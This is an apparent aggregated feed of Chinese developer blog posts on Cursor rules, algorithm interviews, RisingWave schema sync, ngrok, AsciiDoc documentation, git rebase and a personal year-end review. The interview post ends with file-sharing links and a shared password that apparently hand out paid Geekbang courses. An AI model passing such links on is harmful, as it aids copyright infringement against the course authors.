之前讲解过 cursor 中 Rules for AI,这次更新对 Rules 做了加强,扩充了单文件 .cursorrules,可以针对项目更多分类的 Rules,支持互相引用,像组合编程,还支持匹配特定的目录、文件。

这部分内容,我会补充在 Rules for AI 中,现在只看这个提示符的作用。

首先在后台创建一个 rules1。

image.png

然后我可以让他按照 rules1 改写文件。

image.png

它成功的读懂了,并只把文件夹改为小写,这正是 rules1 中的规范。

Recent Changes

这就是字面意思,可以分析代码最近的改动,可以从 Git 和本地文件中获得信息。

by jianzhangg at January 28, 2025 07:39 AM

juejin career

程序员面试为什么要考算法题?

文章首发到公众号:月伴飞鱼,每天分享程序员职场经验+科普AI知识!

大家好呀,我是飞鱼

在国内的面试中,尤其是大公司,算法题已经成为几乎必刷的内容。

你要是不会做这些题,基本上就别指望进那些大公司了。

图片

那为什么会这样呢?

其实进了公司之后会发现,平时工作都是CRUD的普通代码,根本不用碰这些乱七八糟的算法题。

但我们知道大厂招人根本不愁,你应聘一个职位可能就有上千人跟你竞争。

那大厂选人的时候挑啥呢?

过去,这些公司一般考的都是所谓的八股文题,比如如何优化性能,如何解决高并发问题等等。

但现在你会发现,这些题早就成了网上的八股文,每个人都背得滚瓜烂熟。

结果就是,都差不多,根本分不出水平来。

所以越来越多的公司开始考察这些算法题了。

而且算法可以很好的辨别是不是从培训机构出来的。

因为培训机构会忽悠很多半路出家,有的跟理科都不搭边的人过来学计算机。

而且培训机构只会教流行框架,不会教这些费时费力但很重要的东西。

作为程序员,大家其实都心知肚明:

刷题网站上那些算法题,工作当中用的很少,面试的时候能快速过关的那些人都是题海战术刷出来的。

但是现在的招聘市场,现状就是这样的。

很多中小厂,甚至有些外包面试的时候,也必考算法题,你让Java之父来面试,他也得刷题。

之前很多人说是为了考察动手能力,但是我觉得其实不是。

我觉得它更像是一种筛选机制,通过这种手段筛选出能更卷的人。

如果面试中算法题真的写不出来怎么办?

如果你有一点思路,但因为某个点卡住了,可以放心大胆写,主动抛出问题,面试官还是很愿意提示你的。

没见过的难题在提示下写出来也会让面试官觉得你还不错。

如果真的完全不会,可以和面试官提出换一道题。

我一直认为,算法题的表现并不完全代表你的工程或编码实力。

但不可否认,很多大公司就是喜欢通过这样的方式来筛选候选人,游戏规则如此,只能接受。

有啥其他看法,欢迎在评论区留言讨论。

想看技术文章的,可以去我的个人网站:hardyfish.top/。

  • 目前网站的内容足够应付基础面试(P7)了!

每日一题

题目描述

给定两个以字符串形式表示的非负整数 num1 和 num2,返回 num1 和 num2 的乘积,它们的乘积也表示为字符串形式。

示例 1:

输入: num1 = "2", num2 = "3"
输出: "6"

示例 2:

输入: num1 = "123", num2 = "456"
输出: "56088"

解题思路

想要做出这道题,需要知道一个数学定理:

  • 两个长度分别为 n 和 m 的数相乘,长度不会超过 n + m。

因此我们可以创建一个长度为 n + m 的数组 res 存储结果。

另外,最后拼接结果时需要注意忽略前导零。

代码实现

Java代码:

class Solution {
    public String multiply(String n1, String n2) {
        int n = n1.length(), m = n2.length();
        int[] res = new int[n + m];
        for (int i = n - 1; i >= 0; i--) {
            for (int j = m - 1; j >= 0; j--) {
                int a = n1.charAt(i) - '0';
                int b = n2.charAt(j) - '0';
                int r = a * b;
                r += res[i + j + 1];
                res[i + j + 1] = r % 10;
                res[i + j] += r / 10;
            }
        }
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < n + m; i++) {
            if (sb.length() == 0 && res[i] == 0continue;
            sb.append(res[i]);
        }
        return sb.length() == 0 ? "0" : sb.toString();
    }
}

DDD实战课

课程链接:time.geekbang.org/column/intr…

资料链接:url81.ctfile.com/f/57345181-…

访问密码:3899

从0开始学大数据

课程链接:time.geekbang.org/column/intr…

资料链接:url81.ctfile.com/f/57345181-…

访问密码:3899

趣谈网络协议

课程链接:time.geekbang.org/column/intr…

资料链接:url81.ctfile.com/f/57345181-…

访问密码:3899

by 程序员飞鱼 at January 28, 2025 03:55 AM

juejin article

RisingWave Feature|针对 PostgreSQL source 的 Auto schema change

在 PostgreSQL 表中进行 Schema change ,如增加或删除列、修改数据类型,通常会给开发人员、数据工程师增加不少工作量。这些变更可能会破坏现有的工作流程,引发兼容性问题,导致流程中断,进而延误开发进度、影响新功能的交付。如果没有合适的工具或自动化支持,手动处理 Schema change 既麻烦又低效。

因此,我们在 RisingWave 2.1 版本中推出了针对 PostgreSQL source 的 Auto schema change,专门用于处理从 PostgreSQL 获取 CDC 数据时的 Schema 更新,从而让 RisingWave 表与 Source PostgreSQL 表的 Schema change 保持同步。借助这一功能可以减少手动维护数据 Pipeline 的时间,把精力更多地投入到其他操作中。下面将为大家分享如何使用这一功能。

1. 获取 Premium Edition 许可证

PostgreSQL CDC 的 Auto schema change 是 RisingWave Premium 特有功能,需要购买许可证以使用。想了解更多 RisingWave Premium 的内容,请查看 《RisingWave Premium 常见问题解答》

启动 RisingWave 后,可以通过运行以下 SQL 查询来检查实例是否已正确配置许可证密钥。如果许可证密钥配置无误且有效,查询结果将返回 t。有关如何设置许可证密钥的详细信息,请查看 《 RisingWave Premium 文档》

SELECT rw_test_paid_tier();

2. 配置 PostgreSQL CDC source

要启用 Auto schema change 功能,需要在创建 PostgreSQL CDC source 时,将 auto.schema.change 参数设置为 true。该参数是创建数据源时的一个可选项,仅在 RisingWave Premium 版可用。

接着从 PostgreSQL 表中获取数据,以下为代码示例:

CREATE SOURCE pg_mydb WITH (
    connector = 'postgres-cdc',
    hostname = 'localhost',
    port = '5432',
    username = 'myuser',
    password = '123456',
    database.name = 'mydb',
    auto.schema.change = 'true'
);

有关获取数据的更多示例,请参见官方文档

3. Demo

接下来,我们将通过 Demo 详细展示 PostgreSQL Auto Schema Change 的流程。

3.1 在 PostgreSQL 中创建表

假设 PostgreSQL 数据库中已经有一个表,名为 pg_names :

 id |  name
----+---------
  1 | Alice
  3 | Charlie
  2 | Bob

接着需要将该表的数据导入到 RisingWave 。

3.2 创建 PostgreSQL CDC source

启动 RisingWave 实例并配置好高级版的许可证密钥。有关如何快速部署 RisingWave 的不同方式,可以参考我们的快速入门指南

要从 PostgreSQL 表中读取数据,首先需要创建 Source,然后再创建表。Source 将连接到 PostgreSQL 数据库;表则会从指定的 PostgreSQL 表中导入数据。这个过程能够轻松地从多个表中导入 CDC 数据。

截屏2025-01-28 上午9.46.21.png 截屏2025-01-28 上午9.46.47.png

3.3 查看 Schema change

您可以通过修改 PostgreSQL 表的 Schema 来测试该功能。例如,向 PostgreSQL 表中添加一个新列:

ALTER TABLE simple_table
ADD COLUMN age INT DEFAULT 0;

然后从 RisingWave 表中查询数据,新增列将自动呈现:

SELECT * FROM names;
---
 id |  name   | age
----+---------+-----
  2 | Bob     |   0
  1 | Alice   |   0
  3 | Charlie |   0
(3 rows)

同样地,如果在 PostgreSQL 中删除某列,RisingWave 表也会同步删除该列。

4. 总结

通过 Auto Schema Change,RisingWave 彻底解决了手动处理 Schema change 所带来的繁琐问题,数据团队能够更加高效地管理 RisingWave 中的流数据,也无需再费心修改所依赖的工作流或处理数据管道中断等问题。

5. 关于 RisingWave

RisingWave 是一款开源的分布式流处理数据库,旨在帮助用户降低实时应用的开发成本。RisingWave 采用存算分离架构,提供 Postgres-style 使用体验,具备比 Flink 高出 10 倍的性能以及更低的成本。

👨‍🔬加入 RW 社区,欢迎关注公众号:RisingWave中文开源社区

🧑‍💻想要了解和探索 RisingWave,欢迎浏览我们的官网:risingwave.com/

🔧快速上手 RisingWave,欢迎体验入门教程:github.com/risingwave

💻深入理解使用 RisingWave,欢迎阅读用户文档:zh-cn.risingwave.com/docs

by RisingWave中文开源社区 at January 28, 2025 01:53 AM

juejin freebie

简明教程:如何使用内网穿透神器ngrok

在本地开发时,是否为测试 Webhook 而烦恼?别担心,ngrok 来帮你解决!

什么是 ngrok?🤔

ngrok 是一款强大的内网穿透工具,能够将你本地运行的服务器暴露到公网。简单来说,它就像一扇“任意门”,让外网也能访问到你本地的开发环境,无需复杂的网络配置。

为什么选择 ngrok?💡

想象一下,你在开发过程中遇到了以下场景:

  • 微信公众号开发:需要配置 Webhook 接收消息。
  • GitHub 仓库管理:调试 Webhook 回调。
  • 客户演示:向客户展示本地运行的项目。
  • 第三方支付集成:测试支付接口的回调。

以往的解决方案可能需要:

  • 部署到服务器:麻烦且耗时。
  • 修改路由器设置:存在安全风险。
  • 使用其他内网穿透工具:如花生壳,配置复杂。

有了 ngrok,这些问题都迎刃而解!

如何快速上手 ngrok?🛠️

1. 安装 ngrok

Mac 用户:

brew install ngrok

Windows 用户: 前往 ngrok官网 下载对应的安装包并安装。

2. 注册并获取 Authtoken

  1. 访问 ngrok官网 注册一个账号。

  2. 登录后,在仪表盘中找到你的 Authtoken

  3. 配置 token:

    ngrok config add-authtoken your_token_here
    

3. 启动 ngrok

假设你的本地服务运行在 3000 端口,执行以下命令:

ngrok http 3000

运行后,你会看到类似如下的输出:

Session Status                online
Account                       your_email
Version                       3.x.x
Region                        United States (us)
Forwarding                    https://abc123.ngrok.io -> http://localhost:3000

此时,你可以通过 https://abc123.ngrok.io 访问你的本地服务了!

ngrok 的进阶使用技巧 🔥

1. 自定义子域名

你可以为你的服务指定一个自定义的子域名(需要付费):

ngrok http --subdomain=myapp 3000

访问链接将变为 https://myapp.ngrok.io,更方便记忆和使用。

2. 请求调试界面

ngrok 提供一个本地调试界面,帮助你查看所有请求的详细信息:

  • 打开浏览器访问 http://localhost:4040
  • 在这里,你可以实时查看请求日志,方便调试和排错。

3. 配置文件使用

通过配置文件,可以更加灵活地管理多个隧道:

  1. 创建配置文件 ~/.ngrok2/ngrok.yml

    authtoken: your_token_here
    tunnels:
      webapp:
        proto: http
        addr: 3000
      api:
        proto: http
        addr: 4000
    
  2. 启动指定隧道:

    ngrok start webapp
    ngrok start api
    

4. 使用 TCP 隧道

除了 HTTP 隧道,ngrok 还支持 TCP 隧道,适用于需要 SSH 访问或其他 TCP 服务的场景:

ngrok tcp 22

这将为你的 SSH 服务分配一个公网可访问的地址。

5. 自定义域名绑定(高级)

对于有自己域名的用户,可以将自定义域名绑定到 ngrok:

  1. 在域名服务商处配置 CNAME 记录指向 ngrok.io
  2. 在 ngrok 配置文件中添加自定义域名配置。

使用 ngrok 需要注意什么?⚠️

  • 免费版限制

    • 随机分配的域名,每次启动后域名可能会变化。
    • 连接数和带宽有限制,适合开发和测试使用。
  • 稳定性

    • 国内访问可能会有一定延迟,建议在条件允许的情况下选择付费版本以获得更好的稳定性和速度。

总结 📝

ngrok 是本地开发和测试的利器,特别是在处理 Webhook、第三方回调等场景时,能够极大地提升工作效率。尽管免费版有一些限制,但对于大多数开发需求已经绰绰有余。如果你还没试过 ngrok,赶快下载体验,相信你会爱上这个工具!🚀


更多实用资源:

快分享给你的开发小伙伴,一起享受高效的开发体验吧!✨

by Y11_推特同名 at January 28, 2025 01:06 AM

January 27, 2025

juejin freebie

都2025年了,还在用Markdown写文档吗?

俗话说得好:“程序员宁愿写 1000 行代码,也不愿意写 10 个字的文档。”

不愿写文档的原因,一方面是咱理科生文采确实不好,另一方面则是文档的更新维护十分麻烦。

每次功能有变更的时候, 时间又急(其实就是懒),很难想得起来同时去更新文档。

特别是文档中代码片段,总是在几天之后(甚至更久),被用户找过来吐槽:“你们也太不专业了,文档里的代码都跑不通。”

作为有素养的程序员,被人说 “不专业”,简直不能忍,一定要想办法解决这个问题。

专业团队

文档代码化

很多开发者喜欢用语雀,飞书或者钉钉来写文档。

不得不承认,它们的编写和阅读的体验更好,样式也更丰富。

甚至就算是版本管理,语雀,飞书做得也不比 git 差。

不过对于开发者文档,我觉得体验,样式都不是最重要的。毕竟这些都是锦上添花。

更重要的是,文档内容有效性的保证,如果文档上的代码直接复制到本地,都要调试半天才能跑通,那不管它样式再好看开发者都要骂娘了。

所以文档最好就和代码放在同一个仓库中,这样代码功能有更新时,顺便就把文档一起改了。团队前辈 Review 代码时,也能顺便关注下相关的文档是否一同更新。

如果真的一定要搞一个语雀文档,也可以考虑用 Git Action,在分支合并到 master 时触发一次文档到语雀的自动同步。

Markdown 的问题

程序员最常用的代码化文档就是 Markdown 了,估计也是很多开发者的首选,比如我这篇文章就是用 Markdown 写的。

不过 Markdown 文档中的代码示例,也没有经过单元测试的验证,还是会出现文档中代码跑不通的现象。

Python 中有一个叫做 doctest 的工具,能够抽取文档中的所有 python 代码并执行,我们只要在分支合并前,确保被合并分支同时通过了单元测试和 doctest,就能保证文档中的代码示例都是有效的。

在 Java 中我找了半天没有找到类似工具,很多语言(比如 Go, Rust 等等)据我所知也没有类似的工具。

而且对于 Java,文档中给的一般都是不完整的代码片段,无法像 Python 一样直接就能进入命令行执行。

有句俗话 ”单元测试就是最好的文档“。我觉得没必要将单元测试和文档分开,最好的方式就是从单元测试中直接引用部分代码进入文档。

在变更功能时,我们一定也会改单元测试,文档也会同步更新,不需要单独维护。

在合并分支或者发布版本之前,肯定也会有代码门禁执行单元测试,这样就能确保文档中代码示例都是有效的。

目前我发现了一个能解决该问题的方案就是 adoc 文档。

adoc 文档

adoc 的全称是 Asciidoctor, 官网链接

Github 已经对其实现了原生支持,只要在项目中将 README 文件的后缀改成 README.adoc,Github 就会按照 adoc 的语法进行解析展示。

adoc 最强悍的能力就是可以对另一个文件的一部分进行引用。以我负责的开源项目 QLExpress 为例。

在单元测试 Express4RunnerTest 中,用 // tag::firstQl[]// end::firstQl[] 圈出一个代码片段:

// import 语句省略...

/**
 * Author: DQinYuan
 */
public class Express4RunnerTest {
    // 省略...

    @Test
    public void docQuickStartTest() {
        // tag::firstQl[]
        Express4Runner express4Runner = new Express4Runner(InitOptions.DEFAULT_OPTIONS);
        Map<String, Object> context = new HashMap<>();
        context.put("a", 1);
        context.put("b", 2);
        context.put("c", 3);
        Object result = express4Runner.execute("a + b * c", context, QLOptions.DEFAULT_OPTIONS);
        assertEquals(7, result);
        // end::firstQl[]
    }


    // 省略...
}

然后在文档 README-source.adoc 中就可以 firstQl 这个 tag 引用代码片段:

=== 第一个 QLExpress 程序

[source,java,indent=0]
----
include::./src/test/java/com/alibaba/qlexpress4/Express4RunnerTest.java[tag=firstQl]
----

include::./src/test/java/com/alibaba/qlexpress4/Express4RunnerTest.java[tag=firstQl] 用于引用 Express4RunnerTest 文件中被 firstQl tag 包围的代码片段,其他的部分,等价于 Markdown 下面的写法:

### 第一个 QLExpress 程序

```java
```

这个 adoc 文档在渲染后,就会用单测中真实的代码片段替换掉 include 所占的位置,如下:

adoc渲染示例

缺点就是 adoc 的语法和 Markdown 相差还挺大的,对以前用 Markdown 写文档的程序员有一定的熟悉成本。但是现在有 AI 啊,我们可以先用 Markdown 把文档写好,交给 Kimi 把它翻译成 Markdown。我对 adoc 的古怪语法也不是很熟悉,并且项目以前的文档都是 Markdown 写,都是 AI 帮我翻译的。

Github 渲染 adoc 文档的坑

我最开始尝试在 Github 上用 README.adoc 代替 README.md,发现其中的 include 语法并没有生效:

Github 对于 adoc include的渲染逻辑还挺诡异的,既不展示引用文件的内容,也没有原样展示 adoc 代码

Github对于adoc的错误渲染

查询资料发现 Github 根本不支持 adoc 的 include 语法的渲染(参考)。不过好在参考文档中也给了解决方案:

  • 源码中用 README-source.adoc 编写文档
  • 使用 Git Action 监听 README-source.adoc 文件的变化。如果有变动,则使用 asciidoctor 提供的命令行工具先预处理一下 include 语法,将引用的内容都先引用进来。再将预处理的后的内容更新到 README.adoc 中,这样 README.adoc 就都是 Github 支持的语法了,可以直接在 Github 页面上渲染

Github Action 的参考配置如下(QLExpress中的配置文件):

name: Reduce Adoc
on:
  push:
    paths:
      - README-source.adoc
    branches: ['**']
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Repository
        uses: actions/checkout@v3
      - name: Install Asciidoctor Reducer
        run: sudo gem install asciidoctor-reducer
      - name: Reduce README
        # to preserve preprocessor conditionals, add the --preserve-conditionals option
        run: asciidoctor-reducer --preserve-conditionals -o README.adoc README-source.adoc
      - name: Commit and Push README
        uses: EndBug/add-and-commit@v9
        with:
          add: README.adoc

添加这个配置后,你会发现很多额外的 Commit,就是 Git Action 在预处理 README-source.adoc 后,对 README.adoc 发起的提交:

image.png

至此,就再也不用担心被人吐槽文档不专业啦。

by 代码不洗头 at January 27, 2025 02:37 PM

cursor 使用教程(09)—— Rules for AI

Rules for AI 是 cursor 对 AI 的通用规范,在设置如下位置。

image.png

在首次打开 cursor 的时候,系统让我们输入了回复语言,所以这里已经有了一条 “Always respond in 中文”。

还能设置各种自定义的内容,这里设置的全局生效的。

image.png

使用体验有点像 promote 提示词。

下面还有行 Include .cursorrules file,勾选的时候优先使用项目内 .cursorrules 文件的配置,如果是项目内和全局有有冲突,以项目内为准。

我通过以下方式验证的。

在 Rules for AI 和 .cursorrules 中分别填写 「所有文件名称都大写」和 「所有文件名称都小写」,再问 cursor 文件名是大写还是小写,再更改 .cursorrules,他的回答和 .curosrrules 一致。

image.png

.cursorrules 文件是 cursor 专属的 promote 提示词,它可以根据编程语言、项目架构、代码规范等各种条件约束,就像公司的新手 wiki,.cursorrules 是 cursor 和项目理解的桥梁。

所以请尽情的发挥想象力,你希望它怎样写,他就能怎样写。

以下是我写的纯前端科技公司官网示例。

# 科技公司前端网站项目的 Cursor 规则

# UI 和样式
- 使用 Tailwind CSS 进行响应式设计和样式。
- 采用移动优先的设计模式。

# 代码风格和结构
- 编写简洁和可维护的 JavaScript 和 HTML 代码。
- 在适用的情况下使用语义化的 HTML5 元素。
- 系统化地组织文件:components/,styles/,assets/。

# 命名约定
- 使用小写和短杠作为目录名称(例如,components/navigation-bar)。

# 版本控制
- 遵循分支命名约定:feature/<功能名称>, bugfix/<错误描述>。

# 性能优化
- 为图片和资产实现懒加载。
- 使用现代格式如 WebP 优化图片。
- 除非必要,尽量减少重型 JavaScript 库的使用。

# 无障碍访问
- 确保无障碍访问标准(a11y),使用 ARIA 角色和标签。
- 支持文本缩放和高对比度以提高可访问性。

# 安全性
- 对所有用户输入进行清理以防止 XSS 攻击。
- 确保使用 HTTPS 与任何 API 进行安全通信。

# SEO 和元标签
- 使用适当的元标签进行 SEO;为丰富的搜索结果实现结构化数据。

# 国际化(i18n)
- 必要时选择如 react-i18next 的库,支持多语言需求。

# 测试
- 为关键功能和组件编写单元测试。
- 为主要的用户工作流实现端到端测试。

更多关于 .cursorfiles 的信息,可以参考 zhuanlan.zhihu.com/p/790919582…www.ifb.me/zh/blog/zh/… ,还可以在 cursorrules.agnt.one/chat 上生成项目专属的 .cursorrules,cursor.directory/ 中是为特定语言编写专属 .cursorrules。

by jianzhangg at January 27, 2025 01:18 PM

juejin article

速领🧧!iOS研究院专属「红包封面」来了,第二弹。

春节即将到来

处处都开始有“年味”

红包

不仅是春节期间的传统,更是一种情感的传递

都寄托着亲朋好友的美好祝福

今天,我和御用UI一起给大家准备了第二批

「专属红包封面」

🧧🧧🧧

作为一份红红火火的礼物

免费送给大家

手慢无!

蛇年到,好运来!

“巳时吉祥”,“蛇”年发财

带着红包来为您的增加浓浓年味儿!

领取iOS研究院红包封面微信红包封面

WX20250126-213048@2x.png

专属红包封面送给你

愿你在新的一年里

🦋巳巳如意🦋

“iOS研究院” 微信公众号

推出的蛇年限定版红包封🧧

第二批继续发放

20:25准时开抢!

iOS研究院专注Appstore审核博弈,10+年过审老油条。

记录从业苹果开发上架坎坷历程,已上架百余款软件。 

让Appstore过审更简单,咨询请在点击交流 / 合作

by iOS阿玮 at January 27, 2025 12:30 PM

juejin career

我记得 - 2024年终总结

本不太想写今年的年终总结,可今年感觉身边发现了许多的事情,不记录担心未来某一刻并不能完整想起当下的感受,也发觉今年是聚少离多的一年,身边离开了很多人和事,此刻又恰巧响起了《我不难过》,感觉氛围到了,倒了一杯 1664,开始了我的年终总结。

bd3b84809f624d176c8cceb57e8d466.jpg

同事的离别

入职进来后认识许多很 nice 的前端同事们基本都陆续离开了,虽时常联系,有时还是会莫名的伤感,偶然间翻起曾经工作时的对话,莫名就怀念了起来。

image.png

他们有的成熟稳重,有的温柔靠谱,还有幽默之中又掺杂了许多去远见的想法,例如聪对代码的通用设计的理解,往往能用简单逻辑编写出特别实用的代码,所谓“大道至简”,再例如彬的温柔沉稳,往往会先进行思考后再慢慢地输出,比较印象深刻地还是在一次合作中,发现输出技术方案贴合业务场景,让我深刻意识到方案不是设计的多有难度多华丽才能体现技术水平,反而贴合业务场景的设计往往恰到好处。

而随着旧同事的离开,大部分的项目需要由我思考未来的技术规划,因此,需要定制一系列的规范和设计,以便让后续的同学能快速规范地上手项目。

也迎来了新的队友,虽然接触时间不算多,但能感受到他们擅于思考,往往一个问题能辨证地思考出多种不同的方向和看法,虽然有时候是站在方案的对立面,不过并不妨碍愉快地共事,经过思考后再客观表达自己想法这件事,也同样值得学习。

成长

今年在个人成长方面整体应该是有所怠慢的,虽然第一季度做了比较多沉淀工作,职级也得到了晋升,不过感觉后半年的心态会比较浮躁一些,再加上有AI的加持下,让我迫切地想在 ChatGPT 中寻求答案,这往往了解到的知识面会偏点状一些,慢慢迷失系统性学习的方向

基于此,后续打算通过以思维导图的形式记录平时学习或者工作遇到的知识点,再通过文章的形式输出,期望今年能更注重系统性的学习吧。

当然,目前感觉也不想因此安排的太过紧凑或者涉及面太广,这样反而无法深入和从容

今年读过的书有:

  • 《我的阿勒泰》
  • 《穷爸爸与富爸爸》
  • 《博弈论》
  • 还有其他一些技术系列的文章 or 小册,例如 《从前端到 AI:LangChain.js 入门和实战》等等。。

期望明年能阅读更多的书,吸收并内省改变自己。

特别的决定

买车在当下这个消费降级的环境下确实是一个不太理智的选择,仿佛在当下的市场环境下,保持充沛的现金流是一个比较理智的选择,慢慢地很多事情的决定开始变得权衡利弊,而忽略了自我感受。

感觉很多时候,我们所经历的生活并非全由我们自己选择的,而是被环境、家人以及身边的朋友影响而做出的决定,进而忽略了自我内心的选择。

苏格拉底也曾说过:“未经审视的人生,是不值得过的”

因此,我们有时候也可审视自我的内心感受,适当给予满足。回首过往,我好像会给快乐限定条件,例如当我xxx时,才能自我满足享受快乐,可当我满足一切条件后,可能那时候追求的东西已经不足以满足我的快乐了。正所谓 “欲买桂花同载酒,终不似少年游”

当然,《认知觉醒》也说,面对诱惑,通过理智脑与本能脑、情绪脑进行友善沟通,试着延迟满足,让自己获得成长 or 快乐,感觉也是一件很棒的事情。

我想这两者的本质都是让自己更好一些。

寻找人生的 25 号底片

可能是因为有了车,今年也去了比较多的地方

  • 新疆
  • 厦门
  • 长沙
  • 杭州
  • 郴州
  • 广东省内:海陵岛、中山、珠海、东莞、深圳、潮州、汕头、清远

如果说有什么比较特别的地方,那应该是新疆了。对初中课本上一路看四季,十里不同天的独库公路留下了深刻的印象,依稀想起那天下午,坐在教室的我脑海里有浮现了独库公路,一望无际的草原、笔直的公路远远地和蓝蓝的天空衔接,最远处的地平线线微微倾斜,而不远处的牛羊在阳光、白云下悠闲地散步着。那时候的我觉得独库太遥远了,远到认为是这一辈子都无法鼓起勇气前往的地方。

可当我踏上了这条公路时,恍惚觉得不够真实,不仅是因为独库多维度的美丽,同样也因将向往的地方变成走过的路这件事情。

慢慢地,面对或者尝试生活中的一些事情时,好像也变得更加勇敢,不那么在意他人的看法了。

4431736066878_.pic_hd.jpg

独库公路

4161732255610_.pic.jpg

巴音布鲁克

4531737979675_.pic_hd.jpg

喀纳斯湖

4551737979828_.pic.jpg

赛里木湖

4561737979830_.pic_hd.jpg

神仙湾

平常的感情

我本是一个相对幼稚的人,或许是年纪慢慢长大,又或许是伴侣的性情相投,感觉在相处的过程中,会比较客观、理性的对待。

不过在相处过程中还是存在许多不同的想法,在沟通表达中,慢慢发现如何舒适地表达观点并让彼此接受是一门有意思的学问,最近重温了《非暴力沟通》这本书,通过不带评价客观阐述事实表达主观感受和需要非命令式的请求的沟通方式,我感觉可能会比较容易达到沟通的目的。

起初,追目前的女朋友追了大半年时间,花费了很多精力和心思,当然最终也如愿以偿,此刻突然想到一句话 “做自己想做的事情就是在实现自己人生意义的路上”,换句话说追自己喜欢的女孩子也未尝不是另一种实现,也祝各位在新的一年里能在实现自己人生意义的路上发光发热,同时期待自己能变得更加强大,做一位坚定的守护者。

4541737979678_.pic_hd.jpg

我记得

书写至此,阳光正好,微风不噪。

新的一年里,趁着自己还有劲儿,多笑一笑,百年需笑三万六千场,一日一笑,此生快哉!

4491737473496_.pic_hd.jpg

不禁想起了在阿勒泰的快乐时光,阿勒泰的秋天真的很完美,我想为此以一张阿勒泰的秋天为这篇文章画上句号,尽情享受这一刻。

今年离开了许多朝夕相伴的同事,迎来了新的小伙伴,见到了曾向往的地方,每段旅程也有属于它的意义,我都记得。

那么来日方长,长长的故事,慢慢说。

我们明年再见👋

by 左耳咚 at January 27, 2025 12:15 PM

juejin freebie

【Git 篇】当分支处于一个变基(rebase)状态时, 该怎么办?

分支变为 Feature_xxx|REBASE 的原因

分支状态显示为 Feature_xxx|REBASE 通常意味着你当前正处于一个变基(rebase)操作的过程中。变基是 Git 中一种将一系列提交应用到另一个分支上的操作。当你执行 git rebase 命令时,Git 会逐个应用提交,如果在这个过程中遇到冲突或者其他问题,就会暂停变基操作,此时分支状态就会显示为 分支名|REBASE

解决方法

1. 完成变基操作

如果你想继续完成变基操作,可以按照以下步骤处理:

  • 解决冲突(如果有) :如果变基过程中遇到了冲突,需要手动编辑冲突文件,解决冲突后标记为已解决:
# 编辑冲突文件,解决冲突
# ...
# 标记冲突文件为已解决
git add <冲突文件路径>
  • 继续变基:解决冲突后,使用 git rebase --continue 继续变基操作:

git rebase --continue
  • 修正提交信息:如果是提交信息格式不符合规则导致提交失败,在继续变基过程中再次提交时,确保提交信息符合配置的规则:
git commit --amend -m "符合规则的提交信息"

2. 放弃变基操作

如果你不想继续变基,可以使用 git rebase --abort 命令放弃当前的变基操作,分支状态会恢复到变基之前:

git rebase --abort

例如:当在同一个分支上进行了多次提交,想要将这些提交合并为一次提交并使用最后一次提交的信息时,可以使用 git rebase -i(交互式变基)命令来实现。以下是详细的操作步骤:

步骤 1:确定要合并的提交范围

首先,你需要知道从哪个提交开始进行合并。你可以使用 git log 命令查看提交历史,找到你想要合并的第一个提交的哈希值。

git log --oneline

该命令会以简洁的格式显示提交历史,每一行显示一个提交的简短哈希值和提交信息。假设你有如下提交历史:

abcdefg (HEAD -> your-branch) 最后一次提交信息
1234567 倒数第二次提交信息
890abcd 倒数第三次提交信息
...

步骤 2:启动交互式变基

使用 git rebase -i 命令,后面跟上你想要合并的第一个提交的前一个提交的哈希值。例如,如果你想合并从 890abcd 开始的所有提交,你需要使用 890abcd 的前一个提交的哈希值。

git rebase -i 890abcd^

这里的 ^ 表示前一个提交。执行该命令后,会打开一个文本编辑器,显示类似以下内容:

pick 890abcd 倒数第三次提交信息
pick 1234567 倒数第二次提交信息
pick abcdefg 最后一次提交信息

# Rebase 其他提交到这里...
#
# Commands:
# p, pick <commit> = use commit
# r, reword <commit> = use commit, but edit the commit message
# e, edit <commit> = use commit, but stop for amending
# s, squash <commit> = use commit, but meld into previous commit
# f, fixup <commit> = like "squash", but discard this commit's log message
# x, exec <command> = run command (the rest of the line) using shell
# b, break = stop here (continue rebase later with 'git rebase --continue')
# d, drop <commit> = remove commit
# l, label <label> = label current HEAD with a name
# t, reset <label> = reset HEAD to a label
# m, merge [-C <commit> | -c <commit>] <label> [# <oneline>]
# .       create a merge commit using the original merge commit's
# .       message (or the oneline, if no original merge commit was
# .       specified). Use -c <commit> to reword the commit message.
#
# These lines can be re-ordered; they are executed from top to bottom.
#
# If you remove a line here THAT COMMIT WILL BE LOST.
#
# However, if you remove everything, the rebase will be aborted.
#
# Note that empty commits are commented out

步骤 3:修改提交指令

将除了最后一个 pick 之外的所有 pick 改为 squash 或 fixup

  • squash:将该提交合并到前一个提交,并保留该提交的信息,你可以在后续编辑时选择保留哪些信息。
  • fixup:将该提交合并到前一个提交,并丢弃该提交的信息,只保留最后一个提交的信息。

如果你想只保留最后一次提交的信息,将前两个 pick 改为 fixup

fixup 890abcd 倒数第三次提交信息
fixup 1234567 倒数第二次提交信息
pick abcdefg 最后一次提交信息

保存并关闭编辑器。

步骤 4:完成合并

如果你使用了 fixup,Git 会自动完成合并,并使用最后一次提交的信息作为合并后的提交信息。如果你使用了 squash,Git 会打开一个新的编辑器,让你编辑合并后的提交信息,你可以根据需要进行修改,然后保存并关闭编辑器。

步骤 5:推送到远程仓库

如果这些提交已经推送到远程仓库,你需要使用 git push -f 强制推送合并后的提交到远程仓库。

git push -f origin your-branch

注意,强制推送会覆盖远程仓库的历史记录,可能会影响其他开发者的工作,因此在团队协作中需要谨慎使用,最好提前与团队成员沟通。 通过以上步骤,你就可以将同一个分支上的多次提交合并为一次提交,并使用最后一次提交的信息。

题外话:

git rm -r --cached test.sh 命令的作用是将 test.sh 文件从 Git 的暂存区移除,但保留该文件在本地工作目录中。具体参数解释如下:

  • -r:表示递归操作,当 test.sh 是一个目录时,会递归地移除该目录下所有文件和子目录的缓存。
  • --cached:仅从 Git 的暂存区删除文件,而不删除本地工作目录中的实际文件。

by 曼陀罗 at January 27, 2025 11:25 AM

程序员常用高效实用工具推荐,办公效率提升利器!

前言

在当今这个技术日新月异的时代,开发者只有持续学习,才能紧跟时代的浪潮。为了助力开发者在高效学习与工作中实现平衡(告别996的束缚),众多卓越且实用的开发工具应运而生,它们如同强大的助力器,极大地提升了我们的工作效率与创造力。

好用的在线 SSH 管理工具

Xterminal一个好用的在线SSH、SFTP工具,支持跨平台(Windows、Linux、MacOS)运行,随时随地打开,支持文件在线编辑、状态监控,支持私有部署线路,给你最大的数据安全保障 (服务器文件管理 / 状态监控 / AI 命令解释补全)。

10款程序员常用的API管理工具

